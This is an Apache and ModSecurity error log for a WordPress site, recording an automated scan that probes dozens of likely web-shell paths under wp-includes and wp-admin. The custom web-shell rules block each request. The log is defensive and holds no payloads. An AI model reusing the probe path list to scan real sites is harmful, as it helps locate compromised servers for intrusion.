[Sat Feb 28 08:38:59.912176 2026] [proxy_fcgi:error] [pid 39292:tid 39301] [client 173.244.55.20:35557] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:00.808487 2026] [proxy_fcgi:error] [pid 39292:tid 39298] [client 173.244.55.20:35557] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:01.248307 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.20:35557] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/about.php"] [unique_id "aaI5JaIAO5fN7BxyqcEZzAAAAMg"]
[Sat Feb 28 08:39:02.579981 2026] [proxy_fcgi:error] [pid 22194:tid 22209] [client 173.244.55.26:53007] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:03.026112 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.26:53007] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaI5J36mbajs3bzQGyuEkAAAAVQ"]
[Sat Feb 28 08:39:03.911990 2026] [proxy_fcgi:error] [pid 39292:tid 39317] [client 173.244.55.22:47983] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:04.352481 2026] [proxy_fcgi:error] [pid 39292:tid 39304] [client 173.244.55.22:47983] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:04.786754 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.22:47983] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aaI5KKIAO5fN7BxyqcEaCAAAAMg"]
[Sat Feb 28 08:39:06.112506 2026] [proxy_fcgi:error] [pid 39185:tid 39262] [client 173.244.55.21:62825] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:06.998065 2026] [:error] [pid 39185:tid 39261] [client 173.244.55.21:62825] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaI5KhVE-FfM89u7BQaSYAAAAI8"]
[Sat Feb 28 08:39:07.869197 2026] [:error] [pid 22194:tid 22203] [client 173.244.55.22:20515] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaI5K36mbajs3bzQGyuE3gAAAUc"]
[Sat Feb 28 08:39:08.757998 2026] [:error] [pid 39292:tid 39312] [client 173.244.55.22:45079] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaI5LKIAO5fN7BxyqcEaOAAAANI"]
[Sat Feb 28 08:39:09.644171 2026] [:error] [pid 39183:tid 39205] [client 173.244.55.23:63927] [client 173.244.55.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.23, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaI5LRCf4HvhVePw3LaX8QAAAA0"]
[Sat Feb 28 08:39:10.094936 2026] [:error] [pid 39183:tid 39212] [client 173.244.55.23:63927] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aaI5LhCf4HvhVePw3LaX8wAAABQ"]
[Sat Feb 28 08:39:13.227221 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.21:37641] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "aaI5MaIAO5fN7BxyqcEaXwAAAMY"]
[Sat Feb 28 08:39:14.121678 2026] [:error] [pid 39185:tid 39261] [client 173.244.55.22:33383] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/about.php"] [unique_id "aaI5MhVE-FfM89u7BQaSowAAAI8"]
[Sat Feb 28 08:39:15.925024 2026] [:error] [pid 39185:tid 39267] [client 173.244.55.28:30499] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/images/images/about.php"] [unique_id "aaI5MxVE-FfM89u7BQaSrwAAAJU"]
[Sat Feb 28 08:39:18.240416 2026] [:error] [pid 11791:tid 11801] [client 173.244.55.25:57705] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web.php"] [unique_id "aaI5NmuX5e1Q32gqxH0H6QAAAQg"]
[Sat Feb 28 08:39:19.129323 2026] [proxy_fcgi:error] [pid 22194:tid 22220] [client 173.244.55.28:28003] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:20.937132 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.28:28003] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aaI5OH6mbajs3bzQGyuFcQAAAUs"]
[Sat Feb 28 08:39:21.833699 2026] [proxy_fcgi:error] [pid 39184:tid 39239] [client 173.244.55.21:24797] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:22.705350 2026] [:error] [pid 39184:tid 39233] [client 173.244.55.21:24797] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aaI5OltZF9Zd_U7easBzQQAAAE4"]
[Sat Feb 28 08:39:23.581119 2026] [:error] [pid 39185:tid 39269] [client 173.244.55.31:42935] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aaI5OxVE-FfM89u7BQaS1AAAAJc"]
[Sat Feb 28 08:39:24.460184 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.28:32551] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aaI5PKIAO5fN7BxyqcEa-gAAAMI"]
[Sat Feb 28 08:39:25.332690 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.21:29067] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aaI5PaIAO5fN7BxyqcEbGAAAAMg"]
[Sat Feb 28 08:39:26.223398 2026] [proxy_fcgi:error] [pid 22194:tid 22207] [client 173.244.55.25:36049] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:26.663045 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.25:36049] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aaI5Pn6mbajs3bzQGyuFmgAAAUY"]
[Sat Feb 28 08:39:27.546773 2026] [proxy_fcgi:error] [pid 39292:tid 39296] [client 173.244.55.30:44071] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:28.873475 2026] [:error] [pid 39292:tid 39303] [client 173.244.55.30:44071] [client 173.244.55.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.30, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aaI5QKIAO5fN7BxyqcEbagAAAMk"]
[Sat Feb 28 08:39:29.329111 2026] [proxy_fcgi:error] [pid 39292:tid 39304] [client 173.244.55.30:44071] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:29.771112 2026] [:error] [pid 39292:tid 39303] [client 173.244.55.30:44071] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-setup.php"] [unique_id "aaI5QaIAO5fN7BxyqcEbhQAAAMk"]
[Sat Feb 28 08:39:30.659787 2026] [proxy_fcgi:error] [pid 22194:tid 22220] [client 173.244.55.29:48083] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:31.105372 2026] [proxy_fcgi:error] [pid 22194:tid 22196] [client 173.244.55.29:48083] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:31.546626 2026] [:error] [pid 22194:tid 22213] [client 173.244.55.29:48083] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aaI5Q36mbajs3bzQGyuF8QAAAVE"]
[Sat Feb 28 08:39:32.433487 2026] [proxy_fcgi:error] [pid 39185:tid 39254] [client 173.244.55.30:31021] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:32.873707 2026] [:error] [pid 39185:tid 39261] [client 173.244.55.30:31021] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aaI5RBVE-FfM89u7BQaTIwAAAI8"]
[Sat Feb 28 08:39:34.192228 2026] [proxy_fcgi:error] [pid 22194:tid 22218] [client 173.244.55.23:21225] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:34.631136 2026] [:error] [pid 22194:tid 22200] [client 173.244.55.23:21225] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaI5Rn6mbajs3bzQGyuGIAAAAUQ"]
[Sat Feb 28 08:39:35.523026 2026] [:error] [pid 39185:tid 39262] [client 173.244.55.31:32045] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aaI5RxVE-FfM89u7BQaTKgAAAJA"]
[Sat Feb 28 08:39:36.405706 2026] [:error] [pid 39185:tid 39256] [client 173.244.55.31:56821] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/index.php"] [unique_id "aaI5SBVE-FfM89u7BQaTMAAAAIo"]
[Sat Feb 28 08:39:38.171029 2026] [:error] [pid 39292:tid 39313] [client 173.244.55.23:40925] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-user.php"] [unique_id "aaI5SqIAO5fN7BxyqcEcZgAAANM"]
[Sat Feb 28 08:39:39.049449 2026] [proxy_fcgi:error] [pid 22194:tid 22196] [client 173.244.55.30:53395] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:39.486233 2026] [:error] [pid 22194:tid 22213] [client 173.244.55.30:53395] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaI5S36mbajs3bzQGyuGcQAAAVE"]
[Sat Feb 28 08:39:40.357441 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.25:56329] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aaI5TKIAO5fN7BxyqcEcnQAAAMs"]
[Sat Feb 28 08:39:41.248616 2026] [proxy_fcgi:error] [pid 39292:tid 39315] [client 173.244.55.25:36065] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:41.687589 2026] [:error] [pid 39292:tid 39316] [client 173.244.55.25:36065] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/special.php"] [unique_id "aaI5TaIAO5fN7BxyqcEcxwAAANY"]
[Sat Feb 28 08:39:42.577637 2026] [proxy_fcgi:error] [pid 22194:tid 22209] [client 173.244.55.28:56055] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:44.363897 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.28:56055] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaI5UH6mbajs3bzQGyuGvQAAAVU"]
[Sat Feb 28 08:39:45.692522 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.28:35815] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaI5UWuX5e1Q32gqxH0ImQAAARU"]
[Sat Feb 28 08:39:46.576723 2026] [proxy_fcgi:error] [pid 39292:tid 39312] [client 173.244.55.20:26531] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:47.459143 2026] [:error] [pid 39292:tid 39300] [client 173.244.55.20:26531] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "aaI5U6IAO5fN7BxyqcEdOgAAAMY"]
[Sat Feb 28 08:39:48.780218 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.29:56497] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aaI5VH6mbajs3bzQGyuG5AAAAUs"]
[Sat Feb 28 08:39:49.671121 2026] [:error] [pid 39184:tid 39223] [client 173.244.55.26:49873] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webdb.php"] [unique_id "aaI5VVtZF9Zd_U7easB0BQAAAEQ"]
[Sat Feb 28 08:39:50.569731 2026] [proxy_fcgi:error] [pid 22194:tid 22220] [client 173.244.55.23:65291] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:51.463212 2026] [:error] [pid 22194:tid 22218] [client 173.244.55.23:65291] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aaI5V36mbajs3bzQGyuG-AAAAVY"]
[Sat Feb 28 08:39:52.340443 2026] [proxy_fcgi:error] [pid 11791:tid 11813] [client 173.244.55.29:24169] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:52.776161 2026] [:error] [pid 11791:tid 11803] [client 173.244.55.29:24169] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aaI5WGuX5e1Q32gqxH0I3AAAAQo"]
[Sat Feb 28 08:39:53.684875 2026] [proxy_fcgi:error] [pid 39184:tid 39223] [client 173.244.55.31:49897] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:54.567231 2026] [:error] [pid 39184:tid 39229] [client 173.244.55.31:49897] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/click.php"] [unique_id "aaI5WltZF9Zd_U7easB0HgAAAEo"]
[Sat Feb 28 08:39:55.456504 2026] [proxy_fcgi:error] [pid 22194:tid 22217] [client 173.244.55.21:43289] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:56.791062 2026] [:error] [pid 22194:tid 22203] [client 173.244.55.21:43289] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aaI5XH6mbajs3bzQGyuHOAAAAUc"]
[Sat Feb 28 08:39:58.113516 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.30:24145] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aaI5XmuX5e1Q32gqxH0JGQAAAQI"]
[Sat Feb 28 08:39:59.007078 2026] [proxy_fcgi:error] [pid 11791:tid 11796] [client 173.244.55.26:20065] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:39:59.454682 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.26:20065] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/WordPressCore/index.php"] [unique_id "aaI5X2uX5e1Q32gqxH0JNAAAARQ"]
[Sat Feb 28 08:40:00.766361 2026] [proxy_fcgi:error] [pid 22194:tid 22219] [client 173.244.55.21:25795] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:01.205894 2026] [proxy_fcgi:error] [pid 22194:tid 22216] [client 173.244.55.21:25795] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:02.186469 2026] [proxy_fcgi:error] [pid 22194:tid 22215] [client 173.244.55.21:25795] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:02.639744 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.21:25795] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aaI5Yn6mbajs3bzQGyuHewAAAUU"]
[Sat Feb 28 08:40:03.518918 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.25:28059] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aaI5Y36mbajs3bzQGyuHjgAAAVU"]
[Sat Feb 28 08:40:04.406783 2026] [:error] [pid 22194:tid 22196] [client 173.244.55.26:64589] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aaI5ZH6mbajs3bzQGyuHrAAAAUA"]
[Sat Feb 28 08:40:05.284176 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.22:21237] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aaI5ZX6mbajs3bzQGyuHwwAAAUY"]
[Sat Feb 28 08:40:06.165774 2026] [proxy_fcgi:error] [pid 22194:tid 22207] [client 173.244.55.23:27467] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:40:06.606178 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.23:27467] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aaI5Zn6mbajs3bzQGyuH9AAAAVA"]
[Sat Feb 28 08:40:07.483525 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.28:50969] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaI5Z6IAO5fN7BxyqcEeLAAAAMM"]
